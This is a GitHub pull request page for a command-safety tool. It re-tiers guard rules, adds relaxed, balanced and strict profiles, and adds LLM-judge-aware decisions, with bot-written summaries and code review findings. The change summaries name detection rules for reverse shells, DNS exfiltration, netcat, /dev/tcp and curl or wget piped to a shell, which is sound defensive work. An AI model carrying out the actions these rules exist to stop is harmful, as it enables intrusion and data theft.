Skip to content

feat: tiered architecture - #13

Merged
php-workx merged 15 commits into
mainfrom
feat/tiered-architecture
Apr 1, 2026
Merged

feat: tiered architecture#13
php-workx merged 15 commits into
mainfrom
feat/tiered-architecture

Conversation

@php-workx

@php-workx php-workx commented Apr 1, 2026

Copy link
Copy Markdown
Owner

Summary by CodeRabbit

  • New Features

    • Install-time profile selection (relaxed/balanced/strict), new fuse profile command to view/set, auto-created config scaffold, one-time migration notice, and profile-aware installer prompts.
  • Behavior Changes

    • Many destructive/high-risk commands re-tiered from APPROVAL to CAUTION; CAUTION now follows profile fallback rules. Non-interactive destructive MCP flows emit CAUTION (exit code 0).
  • Diagnostics

    • Doctor shows current profile and judge availability; approvals and events now record profile and structural decision.
  • Documentation

    • Added profiles guide and updated README.

@php-workx php-workx self-assigned this Apr 1, 2026
@kody-ai

This comment has been minimized.

@coderabbitai

coderabbitai Bot commented Apr 1, 2026

Copy link
Copy Markdown

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review

Walkthrough

Reclassified many rules from APPROVAL to CAUTION (some to BLOCKED), introduced profile-aware decision resolution (structural vs effective), added profile config and CLI flows, extended event schema with structural decision and profile, added judge readiness probing, and updated adapters, runner, hooks, policies, fixtures, tests, and docs accordingly.

Changes

Cohort / File(s) Summary
Decision classification & inspection
internal/core/classify.go, internal/core/classify_test.go, internal/core/classify_winshell_test.go, internal/core/inspect.go, internal/core/inspect_test.go, internal/core/urlinspect.go, internal/core/urlinspect_test.go, internal/core/fixture_coverage_test.go
Downgraded many signals/rules from APPROVAL→CAUTION (some to BLOCKED); unknown-command fallback now SAFE; updated tests/fixture coverage expectations to match new severities.
Policy & fixtures
internal/policy/builtins_core.go, internal/policy/builtins_security.go, testdata/fixtures/commands.yaml
Bulk rule action changes (APPROVAL→CAUTION, select rules → BLOCKED); regex/predicate refinements for netcat and /dev/tcp; golden fixture expectations adjusted.
Effective decision resolution (new)
internal/adapters/effective_decision.go, internal/adapters/effective_decision_test.go
Added StructuralDecision and EffectiveDecision helpers implementing profile-aware CAUTION fallback and LLM-judge review semantics; unit tests added.
Adapters, runner & hooks
internal/adapters/codexshell.go, internal/adapters/hook.go, internal/adapters/hook_test.go, internal/adapters/runner.go, internal/adapters/profile_behavior_integration_test.go
Compute and propagate structuralDecision and effectiveDecision; enforcement/control flows now switch on effectiveDecision; event logging updated to include structuralDecision and resolved profile; hook/runner tests updated or added.
MCP / destructive HTTP handling & integration tests
integration_test.go, internal/core/mcpclassify.go, internal/core/mcpclassify_test.go, internal/core/urlinspect_test.go, internal/releasecheck/releasecheck_test.go
Destructive tool-name prefixes and destructive HTTP/file-upload patterns now map to CAUTION; tests updated (MCP non-interactive destructive action now expects exit code 0 and CAUTION output).
Event schema & DB
internal/db/events.go, internal/db/schema.go, internal/db/db_test.go
Added persisted structural_decision and profile fields to EventRecord; migrations advanced (v7) and initial schema includes new columns; DB tests verify column defaults.
Config: profiles & caution fallback
internal/config/config.go, internal/config/config_test.go
Added Profile and CautionFallback to Config, profile constants and ProfileDefaults; LoadConfig now resolves/validates profile and seeds profile-driven defaults for LLM judge triggers; tests added.
CLI: profile, install, scaffold, migration notice, doctor, help, root
internal/cli/profile.go, internal/cli/profile_test.go, internal/cli/install_profile.go, internal/cli/install.go, internal/cli/install_test.go, internal/cli/config_scaffold.go, internal/cli/migration_notice.go, internal/cli/migration_notice_test.go, internal/cli/doctor.go, internal/cli/doctor_test.go, internal/cli/help.go, internal/cli/help_test.go, internal/cli/root.go
Added profile command and profile set; interactive profile selection during install; profile-aware config scaffold creation; one-time migration notice; doctor checks for profile and judge availability; help ordering updated; root now prints migration notice; CLI tests added/updated.
Judge provider readiness & prompt
internal/judge/provider.go, internal/judge/provider_test.go, internal/judge/prompt.go, internal/judge/prompt_test.go
Added ProviderReadiness and ProbeProviderReadiness to detect provider presence and auth sources with unit tests; updated system prompt to redefine CAUTION semantics and added prompt test.
TUI & approvals
internal/tui/approvals_view.go, internal/tui/approvals_view_test.go
Approve/deny flows now persist StructuralDecision and Profile; added currentProfile() helper and integration test verifying logged profile and structural decision.
Native file policy adapter
internal/adapters/native_file_policy.go
Switched blocked-file policy logging to use new verdict-aware logging path (logHookEventWithVerdict) including resolved profile/decisions.
Judge/adapter integration & other tests
internal/adapters/effective_decision_test.go, internal/cli/doctor_test.go, internal/cli/install_test.go, internal/cli/migration_notice_test.go, internal/cli/profile_test.go, internal/config/config_test.go, internal/judge/provider_test.go, internal/releasecheck/releasecheck_test.go
Added and updated many unit/integration tests to reflect profile behavior, decision resolution, provider probing, and reclassified outcomes.
Docs & housekeeping
README.md, docs/README.md, docs/profiles.md, .gitignore, .tickets/*, testdata/fixtures/commands.yaml
Added profile docs and README updates; .gitignore extended; many .tickets/* markdown files removed (documentation-only deletions); fixture expectations updated.

Comment @coderabbitai help to get the list of available commands and usage tips.

@qodo-code-review

Copy link
Copy Markdown

Review Summary by Qodo

Implement tiered decision architecture with profile-based configuration system

✨ Enhancement 🧪 Tests

Grey Divider

Walkthroughs

Description
  Implements a comprehensive tiered decision architecture that restructures how commands are
  classified and enforced:
  **Core Architecture Changes:**
• Introduces three-tier decision system: SAFE (default for unknown commands), CAUTION (risky but
  acceptable), and BLOCKED (dangerous)
• Downgrades 60+ destructive builtin rules from APPROVAL to CAUTION (git reset, aws terminate,
  terraform destroy, kubectl delete, etc.)
• Downgrades 20+ security-related rules to CAUTION and 4 critical rules to BLOCKED (DNS
  exfiltration, reverse shells, cron writes)
• Changes unknown command fallback from CAUTION to SAFE
  **Profile-Based Configuration System:**
• Adds profile management with three presets: Relaxed, Balanced, and Strict
• Implements profile and profile set CLI commands for profile management
• Adds interactive profile selection during installation with judge provider validation
• Includes profile migration notice system for legacy configurations
  **Decision Tracking Enhancement:**
• Introduces StructuralDecision (policy-level classification) vs EffectiveDecision
  (profile-modified decision) distinction
• Implements profile-level CAUTION fallback behavior with judge review awareness
• Extends event schema with StructuralDecision and Profile fields
• Adds database schema migration (v6 to v7) for new columns
  **Diagnostic Improvements:**
• Adds doctor checks for current profile reporting and judge availability validation
• Warns when balanced/strict profiles lack judge provider
  **Test Coverage:**
• Updates 40+ test cases across classification, inspection, and integration tests
• Adds comprehensive tests for profile commands, config loading, effective decision calculation, and
  migration notice system
• Rebalances fixture coverage expectations for new tiered architecture
Diagram
flowchart LR
  A["Unknown Commands"] -->|"fallback"| B["SAFE"]
  C["Risky Operations"] -->|"downgrade"| D["CAUTION"]
  E["Dangerous Actions"] -->|"enforce"| F["BLOCKED"]
  D -->|"with judge review"| G["EffectiveDecision"]
  H["Profile Config"] -->|"Relaxed/Balanced/Strict"| I["Decision Tier Mapping"]
  I -->|"apply fallback"| G
  J["StructuralDecision"] -->|"vs"| G
  K["Event Schema"] -->|"track both"| J
  K -->|"and"| G
Loading

Grey Divider

File Changes

1. internal/policy/builtins_core.go ✨ Enhancement +108/-108

Downgrade destructive builtin rules to CAUTION tier

• Changed 60+ builtin rule actions from core.DecisionApproval to core.DecisionCaution across
 Git, AWS, GCP, Azure, Terraform, Kubernetes, databases, and other categories
• Affects destructive operations like git reset --hard, aws ec2 terminate-instances, `terraform
 destroy, kubectl delete`, etc.
• Implements tiered decision architecture where dangerous commands now default to CAUTION instead of
 APPROVAL

internal/policy/builtins_core.go


2. internal/policy/builtins_security.go ✨ Enhancement +28/-28

Adjust security rule tiers for progressive enforcement

• Changed 20+ security-related rule actions from core.DecisionApproval to core.DecisionCaution
• Changed 4 rules from core.DecisionApproval to core.DecisionBlocked (DNS exfiltration, Python
 reverse shell, cron writes, curl/wget piped to shell)
• Affects container escape, privilege escalation, credential access, and obfuscation patterns

internal/policy/builtins_security.go


3. internal/core/classify_test.go 🧪 Tests +51/-34

Update classification tests for tiered architecture

• Updated test expectations: unknown commands now default to DecisionSafe instead of checking for
 non-empty decision
• Added new test TestClassify_UnknownCommandDefaultsToSafe to verify unknown command behavior
• Updated 20+ test cases in TestClassify_BuiltinSectionSentinels to expect DecisionCaution
 instead of DecisionApproval
• Updated comments to reflect new fallback behavior ("unknown command fallback is SAFE")

internal/core/classify_test.go


View more (35)
4. internal/adapters/hook.go ✨ Enhancement +35/-23

Implement structural vs effective decision tracking

• Introduced StructuralDecision and EffectiveDecision helper functions to distinguish between
 policy-level and judge-modified decisions
• Updated handleMCPTool and handleBashTool to compute and use both decision types
• Modified logHookEventWithVerdict signature to accept structuralDecision, effectiveDecision,
 and profile parameters
• Updated applyVerdict to populate StructuralDecision field from verdict's original decision

internal/adapters/hook.go


5. internal/db/events.go ✨ Enhancement +32/-21

Extend event schema with structural decision and profile

• Added StructuralDecision and Profile fields to EventRecord struct
• Updated database INSERT and SELECT queries to include new columns
• Modified scanEventRow to parse structural_decision and profile from query results
• Added logic to default StructuralDecision to Decision if not explicitly set

internal/db/events.go


6. internal/cli/profile.go ✨ Enhancement +160/-0

Add profile management CLI commands

• New file implementing profile and profile set CLI commands
• profile command displays current profile and effective settings from config
• profile set <name> updates the active profile while preserving other settings
• Includes helper functions for loading/writing profile config maps and validation

internal/cli/profile.go


7. internal/config/config.go ✨ Enhancement +127/-4

Implement profile-based configuration system

• Added profile constants: ProfileRelaxed, ProfileBalanced, ProfileStrict, ProfileCustom
• Added Profile and CautionFallback fields to Config struct
• Implemented ProfileDefaults() function that seeds config with profile-specific defaults
• Added resolveProfile(), parseProfile(), and validateCautionFallback() functions for config
 validation
• Updated LoadConfig() to resolve profile from config file and apply profile-specific defaults

internal/config/config.go


8. internal/cli/profile_test.go 🧪 Tests +176/-0

Add profile command tests

• New test file with 3 test cases for profile command functionality
• Tests verify profile display, profile switching with setting preservation, and invalid profile
 rejection
• Tests confirm profile help entry exists in root command

internal/cli/profile_test.go


9. internal/config/config_test.go 🧪 Tests +132/-0

Add configuration system tests

• New test file with 8 test cases for config loading and profile resolution
• Tests verify default relaxed profile, legacy active judge migration to balanced, profile-specific
 defaults
• Tests validate error handling for invalid profiles and caution_fallback values

internal/config/config_test.go


10. internal/adapters/runner.go ✨ Enhancement +54/-30

Track structural and effective decisions in runner

• Extended runContext struct with structuralDecision and effectiveDecision fields
• Updated ExecuteCommand to compute both decision types and pass to runContext
• Modified logWithVerdict to include structural decision, effective decision, and profile in event
 logging
• Updated newEvent signature to accept and populate structural decision and profile fields
• Changed decision switch statement to use effectiveDecision instead of result.Decision

internal/adapters/runner.go


11. internal/cli/install_test.go 🧪 Tests +107/-0

Add profile-aware installation tests

• Added 3 new test cases for profile-aware installation behavior
• Tests verify balanced profile selection prompt, relaxed default when input empty, and preservation
 of existing config
• Added assertProfileAwareConfigScaffold helper to validate profile-aware config generation

internal/cli/install_test.go


12. internal/cli/doctor.go ✨ Enhancement +79/-0

Add profile and judge availability doctor checks

• Added checkCurrentProfile() function to report resolved active profile
• Added checkJudgeAvailability() function to detect judge provider and warn when balanced/strict
 profiles lack provider
• Added two new check names: checkNameCurrentProfile and checkNameJudgeAvailability
• Integrated new checks into gatherDoctorChecks() function

internal/cli/doctor.go


13. internal/cli/doctor_test.go 🧪 Tests +75/-0

Add doctor profile and judge tests

• Added 2 new test cases for doctor profile and judge availability checks
• Tests verify profile reporting and warning when balanced profile lacks judge provider
• Added mustWriteExecutable helper function for test setup

internal/cli/doctor_test.go


14. internal/core/urlinspect_test.go 🧪 Tests +16/-16

Update URL inspection test expectations

• Updated 6 test expectations from DecisionApproval to DecisionCaution for URL inspection
 scenarios
• Affected tests: shell variables, backtick expansion, shell substitution, destructive HTTP methods,
 file uploads
• Updated test comments to reflect new CAUTION tier for these patterns

internal/core/urlinspect_test.go


15. internal/core/inspect_test.go 🧪 Tests +4/-9

Update file inspection test expectations

• Updated test expectations for file inspection from DecisionApproval to DecisionCaution
• Modified TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval to expect
 DecisionCaution
• Simplified dangerous Python file test to expect single CAUTION decision

internal/core/inspect_test.go


16. integration_test.go 🧪 Tests +13/-16

Update integration tests for tiered decisions

• Updated MCP delete tool test to expect exit code 0 (CAUTION) instead of 2 (APPROVAL)
• Updated file inspection tests to expect DecisionCaution instead of DecisionApproval
• Updated destructive HTTP method test name and expectations from APPROVAL to CAUTION
• Simplified test assertions for new tiered architecture

integration_test.go


17. internal/adapters/codexshell.go ✨ Enhancement +35/-20

Implement tiered decision architecture for command classification

• Introduces StructuralDecision and EffectiveDecision calculations to separate classifier
 decisions from profile-level fallback behavior
• Updates newEvent call to include structural decision, effective decision, and resolved profile
 information
• Modifies codexDecisionContext struct to include effectiveDecision field and uses it in the
 decision switch statement

internal/adapters/codexshell.go


18. internal/adapters/effective_decision.go ✨ Enhancement +60/-0

Add effective decision calculation logic for profiles

• New file implementing StructuralDecision function to extract pre-fallback classifier decision
• Implements EffectiveDecision function to apply profile-level CAUTION fallback behavior
• Includes helper functions judgeReviewedActively and resolvedProfile for decision logic

internal/adapters/effective_decision.go


19. internal/adapters/effective_decision_test.go 🧪 Tests +85/-0

Add tests for effective decision calculation

• New test file with comprehensive test cases for EffectiveDecision function
• Tests CAUTION fallback behavior with and without judge review
• Tests error handling and profile-specific decision logic

internal/adapters/effective_decision_test.go


20. internal/cli/migration_notice.go ✨ Enhancement +91/-0

Add profile migration notice for legacy configurations

• New file implementing profile migration notice system for legacy configurations
• Detects legacy configs without profile setting and displays one-time notice
• Tracks migration notice state using marker file in state directory

internal/cli/migration_notice.go


21. internal/cli/migration_notice_test.go 🧪 Tests +97/-0

Add tests for profile migration notice system

• New test file with three test cases for profile migration notice behavior
• Tests that notice prints once for legacy configs and skips on subsequent runs
• Tests that notice is skipped for already-configured profiles and help commands

internal/cli/migration_notice_test.go


22. internal/cli/install_profile.go ✨ Enhancement +94/-0

Add interactive profile selection for installation

• New file implementing interactive profile selection during installation
• Adds selectInstallProfile function to prompt user for profile choice (Relaxed/Balanced/Strict)
• Includes warnIfJudgeProviderUnavailable to alert users when judge provider is missing

internal/cli/install_profile.go


23. internal/cli/config_scaffold.go ✨ Enhancement +58/-0

Add profile-aware configuration scaffolding

• New file implementing config file scaffolding with profile awareness
• Creates initial fuse configuration file with selected profile and commented settings
• Ensures config directory exists before writing scaffold file

internal/cli/config_scaffold.go


24. internal/cli/install.go ✨ Enhancement +17/-8

Integrate profile selection into installation flow

• Refactors install command to use new runInstallWithSelectedProfile function
• Extracts installClaudeWithProfile and installCodexWithProfile functions to support profile
 selection
• Adds ensureFuseConfigScaffold calls to create initial config during installation

internal/cli/install.go


25. internal/cli/root.go ✨ Enhancement +3/-0

Add migration notice hook to root command

• Adds PersistentPreRunE hook to root command to display profile migration notice
• Calls maybePrintProfileMigrationNotice before command execution

internal/cli/root.go


26. internal/cli/help.go 📝 Documentation +1/-1

Add profile command to help text

• Adds profile command to the Observe command group in help text ordering

internal/cli/help.go


27. internal/cli/help_test.go 🧪 Tests +2/-2

Update help tests for profile command

• Updates test expectations to include profile command in Observe group
• Verifies correct ordering of commands including new profile command

internal/cli/help_test.go


28. internal/db/schema.go ✨ Enhancement +18/-0

Add database schema migration for decision tracking

• Adds migration step from schema version 6 to 7
• Implements applyV7 function to add structural_decision and profile columns to events table
• Updates schema initialization to include new columns in events table

internal/db/schema.go


29. internal/core/classify.go ✨ Enhancement +2/-2

Change unknown command fallback to SAFE

• Changes fallback decision for unknown commands from CAUTION to SAFE
• Updates comment to reflect new default-safe contract

internal/core/classify.go


30. internal/core/inspect.go ✨ Enhancement +2/-2

Downgrade signal-based decisions from APPROVAL to CAUTION

• Downgrades decision for subprocess, cloud_cli, http_control_plane, dynamic_exec, and
 dynamic_import signals from APPROVAL to CAUTION
• Downgrades combined cloud_sdk and destructive signals from APPROVAL to CAUTION

internal/core/inspect.go


31. internal/core/mcpclassify.go ✨ Enhancement +1/-1

Downgrade MCP destructive prefix classification to CAUTION

• Changes MCP approval prefix matches to return CAUTION instead of APPROVAL

internal/core/mcpclassify.go


32. internal/core/mcpclassify_test.go 🧪 Tests +4/-4

Update MCP classification tests for CAUTION tier

• Updates test expectations for destructive MCP tool classification from APPROVAL to CAUTION
• Updates test for empty args case to expect CAUTION instead of APPROVAL

internal/core/mcpclassify_test.go


33. internal/core/urlinspect.go ✨ Enhancement +3/-3

Downgrade URL inspection decisions to CAUTION tier

• Downgrades destructive HTTP method detection from APPROVAL to CAUTION
• Downgrades file upload flag detection from APPROVAL to CAUTION
• Downgrades shell expansion in URLs from APPROVAL to CAUTION

internal/core/urlinspect.go


34. internal/core/classify_winshell_test.go 🧪 Tests +7/-7

Update Windows shell classification tests for SAFE fallback

• Updates PowerShell wrapper test expectations from CAUTION to SAFE for extracted inner commands
• Updates CMD wrapper test expectations from CAUTION to SAFE for extracted inner commands
• Updates Remove-Item test expectation to SAFE with comment about unknown command fallback

internal/core/classify_winshell_test.go


35. internal/core/fixture_coverage_test.go 🧪 Tests +12/-13

Rebalance fixture coverage for tiered decision architecture

• Rebalances fixture coverage expectations to reflect new tiered architecture
• Increases CAUTION requirements and decreases APPROVAL requirements across high-risk families
• Updates aws, gcloud, azure, kubernetes_helm, and pulumi coverage expectations

internal/core/fixture_coverage_test.go


36. internal/judge/prompt.go 📝 Documentation +4/-1

Update judge prompt for tiered decision architecture

• Updates CAUTION classification description to emphasize triage role and auto-approval behavior
• Adds guidance that CAUTION is the judge triage tier for risky but acceptable commands
• Adds instruction to use CAUTION when downgrading from APPROVAL

internal/judge/prompt.go


37. internal/adapters/hook_test.go 🧪 Tests +5/-9

Update hook test for CAUTION-based MCP handling

• Updates MCP destructive action test to expect exit code 0 and CAUTION directive instead of
 approval-related directives
• Changes test comment to reflect new CAUTION behavior

internal/adapters/hook_test.go


38. testdata/fixtures/commands.yaml 🧪 Tests +66/-66

Migrate command fixtures to tiered decision architecture

• Migrates numerous commands from APPROVAL to CAUTION tier (terraform, aws, kubectl, gcloud, azure,
 etc.)
• Updates fixture descriptions to reflect new tiered architecture
• Changes unknown command fallback from CAUTION to SAFE for reverse shell and other edge cases

testdata/fixtures/commands.yaml


Grey Divider

Qodo Logo

@qodo-code-review

qodo-code-review Bot commented Apr 1, 2026

Copy link
Copy Markdown

Code Review by Qodo

🐞 Bugs (1) 📘 Rule violations (1) 📎 Requirement gaps (0)

Grey Divider


Action required

1. config.ConfigPath() not XDG 📘 Rule violation ⚙ Maintainability
Description
New CLI code reads/writes config.yaml via config.ConfigPath(), which resolves under
~/.fuse/... instead of the XDG config directory (e.g., $XDG_CONFIG_HOME/fuse or
~/.config/fuse). This introduces/extends non-XDG configuration storage and breaks the required
default config location behavior.
Code

internal/cli/config_scaffold.go[R11-31]

+func ensureFuseConfigScaffold(profile string) error {
+	path := config.ConfigPath()
+
+	info, err := os.Stat(path)
+	if err == nil {
+		if info.IsDir() {
+			return fmt.Errorf("%s exists and is a directory", path)
+		}
+		return nil
+	}
+	if !os.IsNotExist(err) {
+		return fmt.Errorf("checking %s: %w", path, err)
+	}
+
+	if err := config.EnsureDirectories(); err != nil {
+		return fmt.Errorf("creating config directory: %w", err)
+	}
+
+	if err := os.WriteFile(path, []byte(profileAwareConfigScaffold(profile)), 0o644); err != nil {
+		return fmt.Errorf("writing %s: %w", path, err)
+	}
Evidence
PR Compliance ID 185024 requires default configuration files to be stored under the XDG base config
directory. The new scaffold/CLI code writes config.yaml to config.ConfigPath(), while
config.ConfigPath() is implemented as ~/.fuse/config/config.yaml (ad-hoc home directory path),
violating the requirement.

Rule 185024: Use XDG base directory for configuration files
internal/cli/config_scaffold.go[11-31]
internal/cli/profile.go[20-27]
internal/config/paths.go[8-39]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
New/modified CLI code reads and writes `config.yaml` using `config.ConfigPath()`, but `ConfigPath()` currently points to `~/.fuse/config/config.yaml` (non-XDG). Compliance requires using the XDG base directory for configuration files.
## Issue Context
The code paths creating/reading config scaffolding and profile management should default to `$XDG_CONFIG_HOME/fuse/` (or `~/.config/fuse/`) on Unix-like platforms, and create the directory if missing.
## Fix Focus Areas
- internal/config/paths.go[8-49]
- internal/cli/config_scaffold.go[11-31]
- internal/cli/profile.go[20-27]
- internal/cli/profile.go[75-91]

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


2. Caution fallback skipped 🐞 Bug ≡ Correctness
Description
EffectiveDecision() returns CAUTION (auto-approve) when the judge returns a verdict with Error set,
and also treats successful shadow-mode reviews as “not reviewed”, so caution_fallback: approve
does not consistently upgrade CAUTION to APPROVAL when the judge is unavailable/not enforcing. This
violates the documented/spec’d behavior (“ask for confirmation when judge is unavailable / did not
review”), so users can get less enforcement than configured during judge failures.
Code

internal/adapters/effective_decision.go[R25-42]

+func EffectiveDecision(result *core.ClassifyResult, verdict *judge.Verdict, cfg *config.Config) core.Decision {
+	if result == nil {
+		return ""
+	}
+	decision := result.Decision
+	if decision != core.DecisionCaution {
+		return decision
+	}
+	if cfg == nil || !strings.EqualFold(strings.TrimSpace(cfg.CautionFallback), "approve") {
+		return decision
+	}
+	if verdict != nil && verdict.Error != "" {
+		return decision
+	}
+	if judgeReviewedActively(cfg, verdict) {
+		return decision
+	}
+	return core.DecisionApproval
Evidence
EffectiveDecision short-circuits on verdict.Error and only considers “reviewed” when
cfg.LLMJudge.Mode is active, which prevents applying caution_fallback: approve on judge failures
and can also apply fallback even after a successful shadow-mode review. The tier-architecture spec’s
pseudocode and config scaffold both describe fallback applying when the judge did not review / is
unavailable.

internal/adapters/effective_decision.go[25-53]
specs/tier-architecture.md[393-426]
internal/cli/config_scaffold.go[53-56]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
`EffectiveDecision()` currently does **not** apply `caution_fallback: approve` when the judge returns a verdict with a non-empty `Error`, and it also only treats a verdict as “reviewed” when `llm_judge.mode` is `active`. This makes the runtime behavior diverge from the documented/spec’d meaning of `caution_fallback` (“judge off or unavailable / did not review”).
### Issue Context
Per the tier-architecture spec, CAUTION should upgrade to APPROVAL when the judge *did not review* (including failures) and `caution_fallback=approve`.
### Fix Focus Areas
- internal/adapters/effective_decision.go[25-53]
- specs/tier-architecture.md[393-426]
- internal/cli/config_scaffold.go[53-56]
### Suggested change
Implement fallback with a single, mode-independent notion of "judge reviewed":
- `judgeReviewed := verdict != nil && verdict.Error == ""`
- If decision is CAUTION, `caution_fallback` is approve, and `!judgeReviewed`, return APPROVAL.
- Otherwise return the decision.
If the intended behavior is actually to *never* upgrade on judge error, then update the scaffold/spec/comments accordingly (but keep behavior+docs consistent).

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools



Remediation recommended

3. Event profile/structural gaps🐞 Bug ≡ Correctness
Description
Several remaining event logging paths still omit the new Profile and/or StructuralDecision
fields, causing DB.LogEvent() to backfill structural_decision from the effective decision and
leaving profile empty. This loses the “structural vs effective” signal the PR adds (especially for
approval outcomes and legacy log paths) and makes profile-based analytics inconsistent.
Code

internal/db/events.go[R152-157]

+	if record.StructuralDecision == "" {
+		record.StructuralDecision = record.Decision
+	}
  if record.WorkspaceRoot == "" {
  	record.WorkspaceRoot = detectWorkspaceRoot(record.Cwd)
  } else {
Evidence
DB.LogEvent now persists structural_decision and profile, and defaults StructuralDecision to
Decision when omitted. However, some call sites still construct EventRecord without these fields
(e.g., handleApproval’s outcome events, logHookEventFields, native file tool blocked logging, and
TUI approval/deny logging), which will produce empty profile and incorrect/flattened structural
decisions.

internal/db/events.go[144-180]
internal/adapters/hook.go[408-426]
internal/adapters/hook.go[431-452]
internal/adapters/native_file_policy.go[49-58]
internal/tui/approvals_view.go[545-597]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
After adding `profile` + `structural_decision` to the event schema, some event producers still don’t set them. Because `DB.LogEvent()` now defaults `StructuralDecision` to `Decision` when missing, any missing structural/profile data becomes irrecoverably incorrect and breaks the intended analytics.
### Issue Context
New logging helpers (`newEvent`, `logHookEventWithVerdict`) correctly populate `Decision` (effective), `StructuralDecision`, and `Profile`, but older paths still write partial EventRecord structs.
### Fix Focus Areas
- internal/db/events.go[144-180]
- internal/adapters/hook.go[408-426]
- internal/adapters/hook.go[431-452]
- internal/adapters/native_file_policy.go[49-58]
- internal/tui/approvals_view.go[545-597]
### Suggested change
1. **Hook approval outcome events**: include `Profile: resolvedProfile(cfg)` and a real structural decision (e.g., `StructuralDecision(result, verdict)` or `string(result.Decision)` depending on desired semantics).
2. **logHookEventFields / logHookEvent**: either (a) extend the helper to accept `cfg` and a structural decision, or (b) replace these calls with `logHookEventWithVerdict(..., structuralDecision, effectiveDecision, resolvedProfile(cfg), verdict)` where possible.
3. **Native file tool blocked path**: log via the new helper (no verdict; structural==effective; profile from cfg).
4. **TUI approvals logging**: add `Profile` (load config or pass it into the model) and set `StructuralDecision` appropriately (if structural is unknown here, explicitly set it equal to Decision rather than relying on DB backfill).

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


4. Migration notice can fail CLI🐞 Bug ☼ Reliability
Description
The profile migration notice runs in root PersistentPreRunE and returns errors from writing the
marker file, so a permissions or filesystem error in the state directory can cause otherwise
unrelated CLI commands to fail. This is especially risky because the notice is a best-effort UX
message rather than core functionality.
Code

internal/cli/root.go[R22-24]

+	PersistentPreRunE: func(cmd *cobra.Command, args []string) error {
+		return maybePrintProfileMigrationNotice(cmd)
+	},
Evidence
All commands execute maybePrintProfileMigrationNotice() before running.
maybePrintProfileMigrationNotice() writes a marker file and propagates any errors, which aborts the
command execution path.

internal/cli/root.go[18-25]
internal/cli/migration_notice.go[17-27]
internal/cli/migration_notice.go[59-66]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
A failure to write the migration marker (state dir permissions, read-only filesystem, etc.) will currently fail the entire CLI command because the notice runs in `PersistentPreRunE`.
### Issue Context
The migration notice is informational. It should not prevent running `fuse run`, `fuse hook`, etc.
### Fix Focus Areas
- internal/cli/root.go[18-25]
- internal/cli/migration_notice.go[17-27]
- internal/cli/migration_notice.go[59-66]
### Suggested change
- Change `maybePrintProfileMigrationNotice` to swallow marker-write errors (e.g., print a warning to stderr and return nil), or
- In `PersistentPreRunE`, ignore errors from `maybePrintProfileMigrationNotice` unless they indicate something truly fatal.
Ensure tests still validate "prints once" behavior when marker creation succeeds.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


Grey Divider

ⓘ The new review experience is currently in Beta. Learn more

Grey Divider

Qodo Logo

@codecov

codecov Bot commented Apr 1, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 74.75456% with 180 lines in your changes missing coverage. Please review.
✅ Project coverage is 72.13%. Comparing base (9aa94dc) to head (dda8a49).
⚠️ Report is 1 commits behind head on main.

Files with missing lines Patch % Lines
internal/cli/profile.go 59.57% 23 Missing and 15 partials ⚠️
internal/core/urlinspect.go 70.37% 22 Missing and 2 partials ⚠️
internal/config/config.go 72.61% 17 Missing and 6 partials ⚠️
internal/cli/migration_notice.go 66.00% 10 Missing and 7 partials ⚠️
internal/cli/doctor.go 70.90% 11 Missing and 5 partials ⚠️
internal/cli/install_profile.go 71.42% 12 Missing and 4 partials ⚠️
internal/judge/provider.go 78.72% 6 Missing and 4 partials ⚠️
internal/tui/approvals_view.go 56.52% 9 Missing and 1 partial ⚠️
internal/adapters/effective_decision.go 72.41% 4 Missing and 4 partials ⚠️
internal/cli/config_scaffold.go 75.75% 4 Missing and 4 partials ⚠️
... and 4 more
Additional details and impacted files
@@            Coverage Diff             @@
##             main      #13      +/-   ##
==========================================
+ Coverage   71.39%   72.13%   +0.73%     
==========================================
  Files          74       79       +5     
  Lines        8727     9330     +603     
==========================================
+ Hits         6231     6730     +499     
- Misses       2000     2039      +39     
- Partials      496      561      +65     

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces a profile-based configuration system and refines command classification by migrating many built-in rules from APPROVAL to CAUTION to facilitate LLM judge triage. It adds a new profile CLI command, enhances event logging with structural and effective decisions, and implements a migration notice for legacy configurations. Feedback highlights a security regression where unknown commands default to SAFE instead of CAUTION, and a logic error in the effective decision handler where judge errors could bypass user-specified approval fallbacks.

Comment thread internal/core/classify.go
Comment thread internal/adapters/effective_decision.go
Comment thread internal/cli/config_scaffold.go
Comment thread internal/adapters/effective_decision.go
Comment thread internal/db/events.go
Comment thread internal/cli/root.go
Comment thread integration_test.go
Comment thread integration_test.go
Comment thread internal/adapters/effective_decision.go
Comment thread internal/adapters/hook_test.go
Comment thread internal/adapters/runner.go
Comment thread internal/cli/config_scaffold.go
Comment thread internal/cli/doctor_test.go
Comment thread internal/cli/install_profile.go
Comment thread internal/cli/migration_notice.go
Comment thread internal/cli/profile.go
Comment thread internal/cli/profile_test.go Outdated
Comment thread internal/config/config.go
Comment thread internal/core/mcpclassify.go
Comment thread internal/core/urlinspect.go
Comment thread internal/core/urlinspect_test.go Outdated
Comment thread internal/db/schema.go
Comment thread testdata/fixtures/commands.yaml Outdated

@kody-ai kody-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

